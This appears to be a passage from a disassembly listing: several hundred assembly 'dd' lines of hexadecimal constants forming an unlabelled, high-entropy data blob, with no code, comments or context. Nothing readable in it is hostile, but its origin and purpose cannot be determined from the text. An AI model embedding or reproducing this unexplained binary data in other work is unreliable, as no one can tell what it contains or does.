dd 0ED636D6h, 46FE06AEh, 14E4C9CAh, 6110B1F2h, 0F0AF4C23h
dd 80014C86h, 8C04BF66h, 0D19D8B7Eh, 0A6EEFDD5h, 0F7B0B197h
dd 62C3E3F5h, 0FB9865Bh, 0C1DB0B02h, 1AAFDD6Dh, 3A3755h
dd 0BD830987h, 98A316B2h, 6684CA1Ah, 0BAF1F754h, 9A181579h
dd 0B58B9E04h, 43932FC9h, 0AA514A9Ch, 5AC02D9Ah, 68E93469h
dd 0F5F84D2Fh, 71AC0520h, 0DB00A241h, 34B88320h, 35C0BAEh
dd 9F078C0h, 248B9D29h, 0E45E842Eh, 0E8A47320h, 958B600Bh
dd 8C4010D5h, 0B8668804h, 61EBA006h, 0BD153DE9h, 5D6C67Eh
dd 0F8DDF3E7h, 0E7B3FAD9h, 2761B508h, 29264D21h, 205F9C2h
dd 25468DF8h, 305348h, 815FCD4Fh, 0E5FEFF23h, 0FDC6CEh
dd 0BC5773CFh, 0E369634Bh, 0FE41F501h, 0DB8C66EFh, 0AC9EA97Ah
dd 0BB541DDFh, 11C87EF6h, 0DB1F8634h, 9B8BC028h, 0FED69403h
dd 0B860005Ah, 6D12DF7Eh, 26A0880Fh, 6B26EA80h, 71156961h
dd 19874CE4h, 0F709D68Bh, 10D184FEh, 0F5D3BA40h, 0C47B31B1h
dd 5D9E9800h, 1BC5D724h, 0DE3A4C47h, 0DC9ABF97h, 0C4E8E1C0h
dd 7105B8B6h, 8AD1B115h, 323960C1h, 0BDB9E901h, 55B59653h
dd 7B0FC49h, 2D569DDFh, 70E60910h, 0AE3771E4h, 0FF91A81h
dd 5F29D8B6h, 300294B8h, 0BAFC7458h, 0FB79F506h, 661818D9h
dd 0D7B64D0Bh, 0E9670537h, 0C97D2700h, 90C40D2h, 4E8C146h
dd 0F5C3766Dh, 4A97A0ECh, 90751203h, 0F18A0416h, 0F766020Ah
dd 54541E2h, 0D7938015h, 2B0349ACh, 0BF5693D8h, 6452D970h
dd 18438C71h, 94DBE4F0h, 504613C2h, 2C5E06C9h, 819BDE97h
dd 67B3842Bh, 0C425BE5Fh, 489020Bh, 214311Bh, 0C621EF5Eh
dd 1F1B533h, 3C0E0005h, 91830F61h, 94E80240h, 2230808Ch
dd 0A36F3A25h, 80F5CA3Bh, 5D73BDB8h, 359F4827h, 43F0987Fh
dd 6DB50B12h, 0E2F98546h, 0A3C93016h, 6DD8FC67h, 0F5EEE50Dh
dd 0AB58C27Bh, 0B5730215h, 1D858960h, 0BB0F9850h, 0A92B7FB1h
dd 911E1F61h, 8F7A8416h, 19B54C80h, 0A518910Fh, 32000B37h
dd 1C5848DAh, 0C4D800B7h, 84BEB026h, 333D341Bh, 0BC6C592Bh
dd 0FD450133h, 7AB0A4D7h, 69C53858h, 93830250h, 0C4B16701h
dd 0C9586214h, 17071131h, 0C126695h, 92A6B95Ch, 0B03FA6ABh
dd 38799EDCh, 0F96607Fh, 8559308Ah, 61801601h, 0D58D1489h
dd 95080710h, 830E2EE1h, 0E93017C1h, 5C8310Dh, 0E33F9F08h
dd 1494933Bh, 0F02FFF56h, 0F5879F20h, 2CE60A30h, 177EE219h
dd 55DAAFD9h, 0FE5BFFC0h, 742F3141h, 0EE2275F8h, 30E0F6CAh
dd 8A008F17h, 37766282h, 7EFED335h, 96C15989h, 602CA622h
dd 0D740D2E8h, 6610CEh, 7E98C993h, 2F0F9912h, 0DD85012Fh
dd 16E25B88h, 208076CEh, 562F1120h, 2F08F5Bh, 7E5A70D9h
dd 0B750CE27h, 1B271FFh, 56CD6F04h, 0DC36693Ch, 8814C9A3h
dd 0A6CB19h, 2B4CBEDEh, 0F78529C3h, 3D08332Ch, 0DD200834h
dd 81552F60h, 9C85BD6h, 2CE978FFh, 0D0007355h, 0DB006C56h
dd 0F28B11Ah, 508BFABFh, 1650EEC0h, 9548F1D3h, 61F6FAF3h
dd 0C52D0AB0h, 0B317B8B8h, 0C909B182h, 155F221Dh, 81C680D9h
dd 359BDCEFh, 0B7E1A21h, 0B547FBD7h, 26095FAFh, 0E3856037h
dd 0D3A3EFF8h, 13AB378h, 496924BEh, 5D396677h, 917B850h
dd 0F40694B3h, 0A1F91984h
dd 80B97F86h, 9093FD88h, 1923763Ah, 5FB91600h, 0D0851C1h
dd 0E61BD09h, 0F5142150h, 51F5020Ch, 9EE60062h, 44D837C3h
dd 0DA3BF47Bh, 5D41AC22h, 2C144674h, 0E50BBFE7h, 0FE796916h
dd 12207ABFh, 0C9B5230Dh, 0DF05932Ch, 820F3391h, 60039169h
dd 8477BE66h, 92F2403Bh, 0D017C0BAh, 0C00ADAFFh, 0A8CDE1F4h
dd 4070B460h, 7194C50h, 0A5FDF301h, 3D8D8BBDh, 0BBB713C3h
dd 0FFE4170Bh, 20BD588Ch, 0CD982711h, 4A108922h, 769AAEF2h
dd 8543B3C0h, 0F52F8BD6h, 9C98FFF9h, 1E40C9BDh, 4A4348E9h
dd 44C9A771h, 0A6286019h, 0BD660E82h, 6F528BC1h, 0AC290B94h
dd 17C54CBFh, 0FA2745B5h, 27BD88Ch, 82423B1Fh, 0E3E1C2EAh
dd 0D2CE68F9h, 0DDCE6E00h, 0A0E8909Eh, 3D25B178h, 3B3950F7h
dd 5E5F568Eh, 0F88B0F5Eh, 84D7DB53h, 450669D4h, 1044A52Ch
dd 0DF57007Ch, 7FEDFAADh, 9D054BC6h, 9AE40827h, 0CAF8A1FAh
dd 0B558CAFBh, 8DED509Ch, 0F47CBF25h, 0FFC586B2h, 1B12417Ah
dd 0C3133922h, 366BA0C4h, 205A430Bh, 2BB5F802h, 40525002h
dd 0C59E459Dh, 8024043Eh, 0E840A40Eh, 4DD86869h, 0C6D1C066h
dd 93A0625h, 35135A9Dh, 556D4C09h, 0D5BCAA52h, 3F9C7CDCh
dd 0F6B8A948h, 5D9BEA8Bh, 0E822AC46h, 210E808h, 62339350h
dd 0AB821EFDh, 5F050FE1h, 16B2ADA6h, 4C8A5F30h, 37C111F2h
dd 0C8068638h, 495E2C34h, 0B5294F30h, 0FF00E1C5h, 897952D3h
dd 5E16CAB9h, 2226C98Dh, 29B53104h, 0C0E90205h, 62A9D108h
dd 0B012225h, 0AF2A2DB5h, 0B08E1B09h, 0B42FB10Fh, 750ED991h
dd 0B8EE69EBh, 8BA40B8Ah, 1829F99Dh, 514D8DE6h, 0ED23347Fh
dd 8A758FF4h, 41F57F84h, 2077BD83h, 4A887868h, 0F102F8A0h
dd 0E9327336h, 0D9727B6Dh, 0C965CC92h, 60886A13h, 0E9173A5Dh
dd 356F95D0h, 8BFC7Bh, 0B6081977h, 3C1361A4h, 89EDB40Eh
dd 58F5298Ah, 0CDAED340h, 9D67305Ch, 99E91D40h, 148D2CADh
dd 219C18F7h, 2BAD9505h, 0AB31B988h, 8B9DAA94h, 64D247A7h
dd 0C79E611Ch, 0FE4A652Ah, 0FEE426F5h, 0B5CC00DAh, 0E754ABACh
dd 2B13B12Fh, 0B91E9C55h, 4C96290Bh, 13F85A63h, 23083A53h
dd 167A0F1Bh, 0C76C96E7h, 0A02F9CCh, 0E4090831h, 35486B5Eh
dd 0AE982637h, 4A77CFBCh, 6CCD363Ah, 4C033D20h, 6F057990h
dd 8C6050F8h, 9D005E29h, 3EDF125Ch, 9090615Fh, 0BEE148DAh
dd 6529C78Bh, 0E7700E53h, 6F0800B8h, 5BA70F01h, 0B0489FC6h
dd 8C15EC60h, 0F090FB24h, 73DA00C9h, 0B84CDF38h, 2E412792h
dd 9AF66AAh, 60EA324Dh, 0B9A43FC2h, 0B60F0421h, 1CA293E3h
dd 4FF8E530h, 9E7AC91h, 578FE626h, 6631C679h, 0E20404EDh
dd 0D2204A70h, 0B7D820h, 0EBF4A124h, 0CBBCD7C5h, 82BBB016h
dd 41FEC50Bh, 2811135Fh, 0B94DF841h, 9122A40Fh, 1637000Ch
dd 9677D9Fh, 156BA231h, 1504EE2h, 37272D9Ch, 78E00001h
dd 2AEBD390h, 8C9489E4h, 70DE8140h, 76150B80h, 6DDFD82Bh
dd 765660CDh, 0FD00B683h, 893E590Ah, 0F2BBBE25h, 60492C18h
dd 8D8BC003h, 108A1AD5h, 112B688h, 0CF60E681h, 0D4BAD6D2h
dd 3002A53h, 3DD78C95h, 9616EF6h, 241C8950h, 58AF7B57h
dd 0B2010E8Fh, 0F777494Bh, 59E62C32h, 59F3A078h, 744A5D11h
dd 8824CB79h, 32DDC01Bh, 3C0BD04Ah, 41D85C43h, 81000F41h
dd 640B86CEh, 1DB00723h, 8F1D9155h, 39A3E0C2h, 9AA471h
dd 6093B073h, 0D402BA66h, 0DE63BE02h, 0FF614B16h, 2B043D79h
dd 0AB54A5BDh, 8D6BFE5Fh, 0CDC76609h, 11A44082h, 989127D9h
dd 1224D54Dh, 0C8B5E9CDh, 486098Bh, 8581F93Ah, 6F7CBAF3h
dd 0B22E59C4h, 0AB0F2DA8h, 0F068DD18h, 6101A1BBh, 0BE3779A6h
dd 4ACEFE2Eh, 708EDBADh, 0C7928FB7h, 6C2B8ECAh, 1C465Eh
dd 8BAD1615h, 95E811Ah, 57609BEDh, 2D199002h, 0B9665F01h
dd 9061E2CCh, 4DB60B8Fh, 0AE023129h, 58050649h, 7240F4FBh
dd 8751460Bh, 0D2EF49A9h, 0AE2AE665h, 200266Bh, 0FFE3EBAAh
dd 0A5B0E6CDh, 243CC81Ch, 54EF126Dh, 0FDE5DCE5h, 0C728F0E0h
dd 0FA7EF0Bh, 0DE011980h, 0FE0E9FE8h, 0FD951601h, 0BE98C26h
dd 0E7CD88h, 17CB314Eh, 0FB93D83Ch, 14E86C14h, 60B90024h
dd 66A6C458h, 919C00D9h, 6FBB3B26h, 0F53ECC9Ah, 41EF2514h
dd 5E022882h, 11EF0DDAh, 0C9D5BF66h, 7742ED68h, 77301AE2h
dd 966E02BEh, 0E82B6CC6h, 0ABB8D890h, 8C62F009h, 0D9CB8260h
dd 5E610202h, 0E811ECD1h, 0D6080858h, 44C93F77h, 6DCA00EDh
dd 0C13D989Eh, 0E0FEB07h, 21D0A696h, 5B01E9AFh, 4AB85B69h
dd 0C27F0900h, 0CB8171ECh, 0AA2AF52Bh, 8049C6Bh, 8106FEC6h
dd 682BD5D6h, 5F72A3EBh, 0AD6BBB31h, 0D5B8903Eh, 7EECC107h
dd 0D822641Eh, 0F702817Dh, 3D708FB2h, 7FD455E9h, 603727h
dd 8071DD42h, 0CF4ECE9Ch, 0D04DC8h, 0D6F4C6EEh, 39FBAE64h
dd 0D2035900h, 0D5F975E2h, 11079523h, 89C0315Fh, 5A86699Dh
dd 16232E3Fh, 8C51DD04h, 0D9D189C5h, 5D2B85C7h, 318907E7h
dd 0A4B53557h, 8A4A0FB2h, 8BF9F542h, 0DC5856C0h, 0C0ECA300h
dd 0F970EA68h, 0A6CB133Ah, 10630929h, 850DD36Dh, 37390A59h
dd 582D82BCh, 735E9A76h, 83027095h, 9615DCBFh, 0C4AA3937h
dd 24042E04h, 5E0D1C6Eh, 6BD363FDh, 60A901DDh, 0E382E5A8h
dd 5E67EF8h, 35958997h, 743FCA03h, 2D40A4B0h, 23600B90h
dd 0B9E079B5h, 0FAA061F8h, 61B92951h, 0F72F451Ch, 5055EF18h
dd 7E2FAE00h, 6FD73EFFh, 0D3ED3206h, 0D390392Eh, 0F51225F7h
dd 0F6AB7134h, 0F9AB0B2h, 25CF998Ch, 353645Fh, 91F2AEBFh
dd 0AC200350h, 0BD23112Ch, 34C24805h, 0B981F175h, 34794B6Dh
dd 0F900D7B8h, 0F29C187h, 9803F6B7h, 3944EDEFh, 12338B10h
dd 891F1331h, 0BDD90A67h, 0F7AA18DEh, 3061C26Fh, 37B53180h
dd 0FADB0AC1h, 3C4914E1h, 5BEE8103h, 69DA01D8h, 0DB0BE3C9h
dd 1CF104BAh, 2F559584h, 0BCE7F9ABh, 0F7971825h, 0C5E772D2h
dd 0CFE9A93Eh, 26D064C4h, 9460A7AEh, 5500DCA6h, 0D4173396h
dd 0FEDE930Dh, 0C7B9A00Bh, 41439260h, 61C2D81Ch, 0BC1CB94Eh
dd 0F00B7A7h, 8C0652Dh, 0AD3C7ABBh, 0CA904951h, 8D21ECA1h
dd 7E2B25EDh, 6AAC85E9h, 0D6F77B00h, 0BBACF015h, 941B1BB5h
dd 0A1945A10h, 0B8163962h, 0DD4B0786h, 917E4880h, 0C8D78B67h
dd 174DAD95h, 155F7EC3h, 0A00867BAh, 0D0F57096h, 806FF13Ah
dd 638F6634h, 2A37E98Dh, 2798B2Eh, 837CDC80h, 0AC6101E1h
dd 6A56C230h, 0CC6005F4h, 1F2B755Bh, 0BA0AE0B0h, 0D306ED4Bh
dd 227D8505h, 0D38EED50h, 3701A26Fh, 217F3ED7h, 10957CB3h
dd 6605259Dh, 4DC905BBh, 293B1E6Bh, 5C5DB857h, 602EACBCh
dd 500DE5Dh, 23439BCBh, 82278985h, 46826A9Ah, 921322CDh
dd 32E40A0Bh, 0A4A64110h, 2AB5E460h, 0D8139738h, 7A19E011h
dd 0D1CA8958h, 1536347Fh, 0EEE06EE6h, 380948BAh, 8BAEB3D1h
dd 109A5BB3h, 84809B80h, 0A15D8B4Ah, 1818713Ch, 7D631D7Fh
dd 4465EA83h, 0F2508B02h, 9D152BC8h, 0D7A92809h, 7600006Eh
dd 0A93C1682h, 3906832Fh, 0DE98F11h, 951D0025h, 3B1B9986h
dd 490FE75Eh, 545CD10Bh, 50545AD2h, 0B22A1A3Dh, 0A5C8DC14h
dd 0A5C3E6EDh, 6CE6E8D9h, 19511582h, 2D76338Bh, 5B09E19Dh
dd 0B65A0489h, 26499486h, 5CF8E3h, 0F982B1Eh, 0B866C2BFh
dd 8B68B515h, 0D01A656Ah, 412B384Dh, 9CF00736h, 4B01E497h
dd 0D3DE31CBh, 0F660C7D9h
dd 612413Dh, 2D29F4F5h, 5769F52Ch, 97F8DDD1h, 85011A6Fh
dd 0D7025175h, 1CF101Dh, 0AAF98060h, 436B2EF0h, 406E2C13h
dd 0C43F2AF7h, 0F87AEF00h, 109B9ABCh, 9E2D0FEDh, 4123D5D8h
dd 0E0153EC7h, 0FEAC98Dh, 833DF381h, 5D611CDFh, 8340C59Eh
dd 0D1A68E9h, 0DB81805Bh, 31DEF74Bh, 6AEDCBA6h, 2516BB7Bh
dd 5352C83Dh, 84EAB413h, 0E5744000h, 0D26ABD6h, 94AD292Dh
dd 0BDA4AD8Ch, 0CA4507D2h, 0EC25D067h, 0C62A3062h, 224365F8h
dd 0B1301AF2h, 0A23F0458h, 0C510D239h, 0E037B6E4h, 2423CBA6h
dd 891CA5BDh, 4E6E85C7h, 3D78119Bh, 37B204C2h, 0B661C68Ah
dd 68AEE0A5h, 99D70098h, 78E3569Ah, 0B52231BDh, 7EB1269h
dd 25201C61h, 40E0EF55h, 0B10A45AEh, 7703801h, 8A0F73D0h
dd 0BB41232Fh, 0E402D3B1h, 0A565B589h, 0D8B2617Fh, 311D1C00h
dd 0C8ECCB78h, 0C17CFD00h, 9FB2FA50h, 0F7B50939h, 69533660h
dd 1793370h, 7D4A11FAh, 2BC18BA4h, 0A8C28423h, 6549B9h
dd 0B03811F8h, 81665953h, 0F4A2C73Fh, 71E4C113h, 453B28A5h
dd 4550680Eh, 0FF880F82h, 2A3B4CE7h, 0BC72F600h, 9D335E54h
dd 0FF3BA19Dh, 4C885031h, 5F002279h, 8EF2815Ah, 6140691h
dd 12F88B66h, 21BE9D01h, 860F5740h, 60007562h, 0EA815B61h
dd 8E30BC4Ch, 8BCBB05Fh, 0F95209C0h, 0B8B018Fh, 8307FC5Ah
dd 0D7BF04E9h, 8152C1D0h, 280AB9EEh, 821245A5h, 0AACF046h
dd 0BCC4E9h, 1ACD6BBAh, 81A906F3h, 0DA13F398h, 0B74099E9h
dd 3A64E25Bh, 0EAD01F88h, 0EFEE08h, 0BBEF27F2h, 0F31E5F19h
dd 6A8064DEh, 1243C5CEh, 0FD08CCE6h, 0D1002E21h, 8998ED64h
dd 3EF2CEh, 6846D293h, 3D5F8C7Ah, 7B25423Ah, 0B939BB00h
dd 0D3AED850h, 0A6A719CFh, 833E0883h, 50B1E321h, 0D372D8CCh
dd 180A0342h, 9809FE6Ah, 7C7321A0h, 0A4A2DE03h, 80711Ah
dd 2F369368h, 0D63D56DCh, 0BBEA9200h, 0D7237695h, 5A1F18ACh
dd 0A32281F2h, 0F6C81E03h, 0E076CA2Eh, 0EA9055h, 3BB475B8h
dd 0C3D65B27h, 1F5F20C0h, 0F58CE993h, 8311204Eh, 532F8156h
dd 4800CC32h, 90A0A06Ch, 0A56FA893h, 53C400E1h, 61BAAA8Dh
dd 0AB272891h, 0BC0804A2h, 64DCC0F4h, 0DE466AB4h, 0D007FB22h
dd 829164D4h, 0C3FD620h, 0A0EFEE78h, 8069BB94h, 58EF5F8Fh
dd 5008B5C0h, 0C4B3AEDCh, 8DE7403Ch, 0E2F150h, 110B108h
dd 0A4AB69AEh, 66C14160h, 0A026295Eh, 6C8F43B4h, 23681847h
dd 50B7058Ch, 3883AED2h, 8F00D9F4h, 0D3C3EA50h, 1E0AF2CCh
dd 34A966C6h, 12B40458h, 8A5601ECh, 388121F0h, 8B8E19CDh
dd 9BAC50A7h, 39011CFEh, 0EF63EA2Dh, 898E23Ah, 0F6FA219Fh
dd 0CE601C05h, 91C088F0h, 0C4C75053h, 0E78260h, 1EA93A5h
dd 7FE1C05Ch, 0C6FF673Ah, 25862706h, 60082FDEh, 229E2175h
dd 6600F367h, 327E854Eh, 44A7A8EFh, 5E18C441h, 42C822E1h
dd 0DF1C02Eh, 310C4D9Fh, 0E37021Ch, 30EB0B4Dh, 80D48091h
dd 0C6FD6738h, 77448C37h, 6720019Ch, 0DA41B23Fh, 9F16E47Ch
dd 0FCB39428h, 11745B21h, 50BA803Eh, 8CABAED9h, 50E23F44h
dd 130C8B2h, 62C79064h, 4C3C8BC5h, 48CB2BCh, 2D351CFAh
dd 2092628Ah, 5C1CF2E6h, 3BE3A300h, 675BD653h, 0D48F0226h
dd 0CA3D6EC6h, 52829080h, 849290AEh, 11A32F21h, 64D380E9h
dd 87E66AB7h, 64EB803Fh, 825AE53Dh, 0A88A306Ch, 0ED405389h
dd 7A116000h, 29FBCDB3h, 743F10B7h, 2559108Fh, 18F22C24h
dd 9BC488F4h, 0E81B422Ah, 0AFACE09h, 0B0348895h, 1C643708h
dd 0EC52C083h, 0A08B271Bh, 0FDF1E091h, 3D0AE218h, 0F04C0F06h
dd 0EF130781h, 0A2C80A85h, 5EA1002Fh, 2CAF11A8h, 9801EAFDh
dd 0CAACDBD2h, 4C428C12h, 25AF2013h, 2FB8188Ah, 29439315h
dd 0A5B900F0h, 379EFCAh, 3DBE3004h, 0CC627744h, 0AB2A2CE2h
dd 0B939804Eh, 3922B7E4h, 0DD3A8E90h, 9EC22AAEh, 0F0E8C884h
dd 0B864D8C0h, 0C23E216Ah, 2C28F891h, 0A27200E0h, 1DAE1C80h
dd 272284A6h, 44E00EDh, 2DAD12F1h, 0EF61DEA3h, 0AF8BB688h
dd 88C6E451h, 3442F4h, 3897525Bh, 26CA6C35h, 0F848AF30h
dd 52CF27FBh, 0F623C4A1h, 0B664D201h, 0F918EE6Ah, 64EAF88Bh
dd 97E00576h, 0BAD12775h, 0AEFEF4C1h, 0D148F0A9h, 0C018F6h
dd 0DC1592F8h, 53D5C9C7h, 10755605h, 5448A327h, 64DDC0F7h
dd 0D6466AB5h, 0D105FF22h, 690764D5h, 406045C3h, 86DACCF8h
dd 0FE71DC99h, 4D28B018h, 0E491AF42h, 0E01835F1h, 0EEFA2E09h
dd 0E748108Bh, 0F144995Fh, 511833h, 98592E7Ch, 42252388h
dd 3C50D354h, 50B80E8Ch, 8851AEDBh, 0B0E0803Dh, 0C9BF7750h
dd 0A9AFE900h, 0F6B3B720h, 3E1CB057h, 458A6A3h, 35C0D188h
dd 46C6F867h, 72221Fh, 0CC673D81h, 22408BA6h, 0B0119499h
dd 331CF880h, 879A2Dh, 131CF0E0h, 0D0120E3Ch, 0EC049027h
dd 0E402A4C6h, 54601F70h, 2383D499h, 0FC018C60h, 0FA2D371Ch
dd 0E4889118h, 821C00F4h, 8CDEFD0Dh, 24007081h, 0CA2C79FCh
dd 2C01EC32h, 4444EFC7h, 673960D5h, 3FC623FCh, 9D007111h
dd 8F7C6721h, 0B214AD96h, 14A4CD72h, 10AC50EEh, 0A100C3F2h
dd 0C6DE5D12h, 0DCAAD48Bh, 92116417h, 6C313580h, 0A12CC10h
dd 3404F757h, 2E254AE3h, 33230Ch, 68666572h, 6164D379h
dd 0E4CE4948h, 0A9C0FCC8h, 0A3783CAh, 0C0217E6Eh, 682D00D8h
dd 8C525D48h, 50225F29h, 8550B609h, 0C4CE8BACh, 508EE607h
dd 0FD4D025h, 880206B9h, 0CEAB2F4Fh, 15AC83EDh, 0C88149ECh
dd 520051BCh, 463C8C14h, 3AC4B71Dh, 1E892F50h, 1C45A68Ah
dd 866235E4h, 877E6040h, 48B30D80h, 0D0232C04h, 0F9673401h
dd 761817C6h, 713C8088h, 0D6920067h, 0E327731Fh, 647F6970h
dd 0BC44CC5Ch, 0C3008C9Ch, 3129A36Ch, 0A78C971h, 4C0776E8h
dd 1A2E0FF8h, 6024C092h, 0CA2A28EAh, 0D019490h, 68CC1F2Fh
dd 7030D7BCh, 119480ABh, 0F639720h, 6268A1FCh, 0F542F2A3h
dd 9321203Bh, 300A0650h, 4674803Ch, 0A1380073h, 0C6532754h
dd 0CCA74DD1h, 0D608FEBCh, 2A4B91Ah, 61831166h, 30C49847h
dd 4D1FEB64h, 0C6BE7182h, 8FE441F9h, 1C08F118h, 0C4E22D3Ah
dd 0E9FB409Eh, 920021Ch, 6CC80428h, 55A3C200h, 840EDE1Fh
dd 4288E021h, 4743E422h, 60FF446Ch, 0A03F5E4Fh, 81A90EC8h
dd 1C42D8Ah, 0A22A6352h, 0C080705Dh, 8373BB79h, 9D0CAE9Bh
dd 0F13242EFh, 260C0004h, 282DC894h, 2C00F32Ah, 0FDB46227h
dd 188248E5h, 6832926Eh, 0C0B1AA06h, 0D980F311h, 366AB964h
dd 0B014C25Ch, 64D02Dh, 0D8DC223Eh, 11904C13h, 0A2ABFEA0h
dd 9085E49h, 6D9C6957h, 7BBDC0B0h, 0A502A451h, 0A156C491h
dd 2CB028C9h, 0F746746Ch, 405EF61Dh, 41048B3Bh, 6A48C999h
dd 0B6E202Ch, 8132F2AAh, 0FC119C9Fh, 5DBD0880h, 0CA0CBF07h
dd 585EA376h, 884E5401h, 5F0B0020h, 64C4A691h, 7C006C30h
dd 1BA13141h, 0CB20D80h, 47BB76C2h, 0BE13FB38h, 686F9C6Ah
dd 1028D902h, 98892DA8h, 0F7110C9Dh, 0F9609E8Fh, 6D381D72h
dd 0E326B706h, 3769202Dh, 89D9C228h, 7C0FD002h, 8031111Fh
dd 17CED7FCh, 75AF0411h, 0E1132968h, 2C705008h, 0EB4F765Bh
dd 997E6002h, 0DB0840C8h, 5EC40C1Dh, 0DA102A5Dh, 2075AE0Ch
dd 4D439DDh, 0DB348DF4h, 0CE5D04FBh, 55062209h, 0A8A350CBh
dd 0C562BBC0h, 5C3410D2h, 3E887CCBh, 6EAF9EC0h, 4BCB0324h
dd 21A166C6h, 0BA537108h
dd 46260EC3h, 0C8F88ED2h, 23F3C0FCh, 48268753h, 84401013h
dd 94F1FA52h, 0A1A88408h, 64005642h, 55F9865Bh, 0AEAC0FDCh
dd 0CB93CC1Eh, 0C077C820h, 8F06B61Dh, 0C140A660h, 0E0857ACh
dd 82DE83BAh, 7D585C61h, 78C85025h, 84F47B32h, 0D6306465h
dd 67363820h, 7C621FBh, 673E82C0h, 0A66D0278h, 0E22670BFh
dd 0B5BD84A0h, 9B1D1853h, 2E83B3CCh, 0D8B27AF8h, 1B7BB90Bh
dd 0F8F66169h, 34392CF8h, 0C4682F08h, 608D1353h, 381CFFFCh
dd 96F22D27h, 0F7E507C4h, 0E061551Ch, 614C496h, 2DBEC202h
dd 191AA53h, 740556DCh, 46E6BB9Ch, 9F791009h, 1960006Fh
dd 67EBFAD3h, 0A67280F4h, 0AE0BE043h, 208E4AC2h, 13B91970h
dd 18A20FDBh, 0A467370Ch, 208AB61Ah, 31149379h, 0F020208Fh
dd 86DCEEE6h, 0AB902850h, 0A844A62Ah, 80BC265Ch, 0DB9A25FFh
dd 28C9173Dh, 0E41C20C4h, 0A8C21678h, 50B6A329h, 4078968Ch
dd 5A6B36BFh, 908F8339h, 0B826C17Ah, 2C11F0h, 50392D0Dh
dd 10BF2D1h, 5462EFCDh, 0C8FED9BFh, 4324AED8h, 39101CCFh
dd 3FA2B453h, 388F9F30h, 0BD3D0F0Dh, 8079B864h, 26BA8C30h
dd 414FF4Dh, 96DB586Eh, 96A240B3h, 9C1D730h, 9192FA2Ch
dd 37910C0h, 0A44E40h, 0A6C1ED1Fh, 0E9A1CE38h, 0B834A8B8h
dd 0F8F2E0AFh, 0FC309CF2h, 0E3033FEEh, 0F95C6F09h, 0A81D1089h
dd 0BE803E11h, 0F19E1464h, 0E4181703h, 4BB8A789h, 236C2F50h
dd 0BC3A003Eh, 0DA9C6460h, 5DACDE02h, 8FFE2C57h, 0C0D5E080h
dd 4FC2F218h, 23B43BA4h, 0A40D00FAh, 29AE40C1h, 0E400ABE2h
dd 0DF2EF279h, 2618969Ch, 5E98080Eh, 0AE01FD46h, 0CB29BE9Ch
dd 8B1994F4h, 3B680F4h, 37C08Ah, 7CE411B4h, 6E7076D6h
dd 0ADDBAA00h, 2F60BF3Ch, 34A604C0h, 81FD49AEh, 23D9DF8h
dd 5584C1BAh, 0D96859D2h, 0F47F18F9h, 2F523FA3h, 1AAE9182h
dd 445886A1h, 82B87CF4h, 9D7958B9h, 7D755E18h, 0EE0D2207h
dd 6583C6BDh, 0DCB840D7h, 1F17172Ch, 0C350200Fh, 0A23CE820h
dd 0D079FDACh, 31D17300h, 0B4CA447h, 0DA6306A8h, 0F16A48F4h
dd 0AFDD9300h, 0F9EA315Bh, 70B0C0BFh, 0D6AB218Fh, 0C53BB505h
dd 40CECF86h, 0CC0FA88h, 667F14h, 6D25B13Eh, 34B2B695h
dd 0D52830B0h, 28026436h, 2E0F787Fh, 0DC2707E4h, 253C3649h
dd 24D5240Bh, 4CF1400h, 1366740Ch, 12CCCD21h, 23403AB8h
dd 914B0132h, 64D576C4h, 32FA2C74h, 33CE04Ch, 0C5A66A8Fh
dd 18C6D0C4h, 0CE38D692h, 0C7F8C810h, 0FF7267E8h, 0A3A530B8h
dd 0C0816A2Ah, 458FBB25h, 673AC454h, 0B35DA0EEh, 0E464619Ch
dd 0BFC00197h, 5AAB2D20h, 0B5C882FDh, 0D0777968h, 588609D8h
dd 0C440AD6Dh, 1CBEAAA8h, 0D7ED5641h, 0BE18CD01h, 0FA5317F8h
dd 1094A850h, 0B8162961h, 5D3116B3h, 1CA0A284h, 0C07ABF7Eh
dd 706C3F30h, 0E72D12ACh, 7D328420h, 56640C0Ah, 84482019h
dd 9340BA7Dh, 8D020C21h, 235962AAh, 0D80148h, 0DAB70A38h
dd 5424E4BEh, 1BAC804Fh, 58A8EEFAh, 3C6E71E1h, 2F9A8248h
dd 1E704C67h, 6430E7Ah, 984FF729h, 0B0508300h, 0C737ACC0h
dd 0B00E5863h, 0F8010C80h, 0A348A8F6h, 34470B47h, 94C400E0h
dd 580EACDFh, 262C54E3h, 250D40A8h, 8F04A87Dh, 0C2EEA32Fh
dd 5B5C4800h, 0EB001FA5h, 0B6A058C1h, 175F6627h, 808F716Ah
dd 0E30FDC1Ch, 0D92F2431h, 8980970Eh, 7F7758A1h, 0BD4966C4h
dd 1E2D0050h, 28A5B2DCh, 81F067C3h, 41E7356Ah, 9AE2A4B8h
dd 259500AEh, 9BCE1279h, 2D6445C5h, 545043B3h, 79000F58h
dd 785ECA19h, 9BEA9768h, 71857854h, 0CA0E505h, 0DCC0A3DFh
dd 9BCC84Fh, 5D1F7EC0h, 14D92C6Ah, 0B318F779h, 46CA7100h
dd 5A1DB2C7h, 2F3309E2h, 608EABh, 0C504A9C4h, 8CD6F2AEh
dd 26CF94F4h, 7610DE47h, 0F70E3146h, 0F4C05494h, 9FAD12AEh
dd 295A58C4h, 42304CA8h, 0F978BB09h, 5B0781E2h, 72748C8h
dd 0B0E20855h, 0C930FAE2h, 6E1E00C1h, 5B2F94C3h, 0E0DDCA0Eh
dd 0DAC9125Dh, 0C78C8B17h, 60F864F8h, 610A0Eh, 79E96F90h
dd 0A269482Dh, 0A0142297h, 8F9B105Dh, 302F774Bh, 6D007A23h
dd 681C32CAh, 69FF03BAh, 0F7466C11h, 0A78A0EE8h, 0A6E8DCF2h
dd 0DF539205h, 68A0C37Eh, 0C92C0299h, 6B4A86DBh, 4268E049h
dd 0E8F371E4h, 4F025D0h, 9B2968B7h, 0E000D667h, 1DACEA1Eh
dd 1E249246h, 0A1D1F108h, 0F11960B2h, 7079CCF1h, 0BC1FF918h
dd 0DF416B76h, 0F2ACCDA4h, 843490E1h, 0A85809C0h, 3045CC0Eh
dd 466090C4h, 501FAA71h, 4D98796Fh, 0F04819D0h, 3B265F15h
dd 18C7D04h, 0C7C40132h, 502D42CBh, 6EA958A0h, 441ED700h
dd 7301D572h, 69A7E5C8h, 40EE2004h, 6DD5E454h, 0AB2E07EBh
dd 5BF1275Dh, 70E4ECC5h, 0F7B6FE60h, 0FAAF4104h, 0E891F4CAh
dd 228C45h, 0F73135F2h, 26766CC4h, 1A4C2CDh, 3D1AA4D8h
dd 0C058A584h, 88EE4390h, 0CF605D76h, 86B32228h, 88109C93h
dd 0BA13C7D1h, 0A6EDC004h, 0F7B218A3h, 0AF2E30h, 9A0DB68Ah
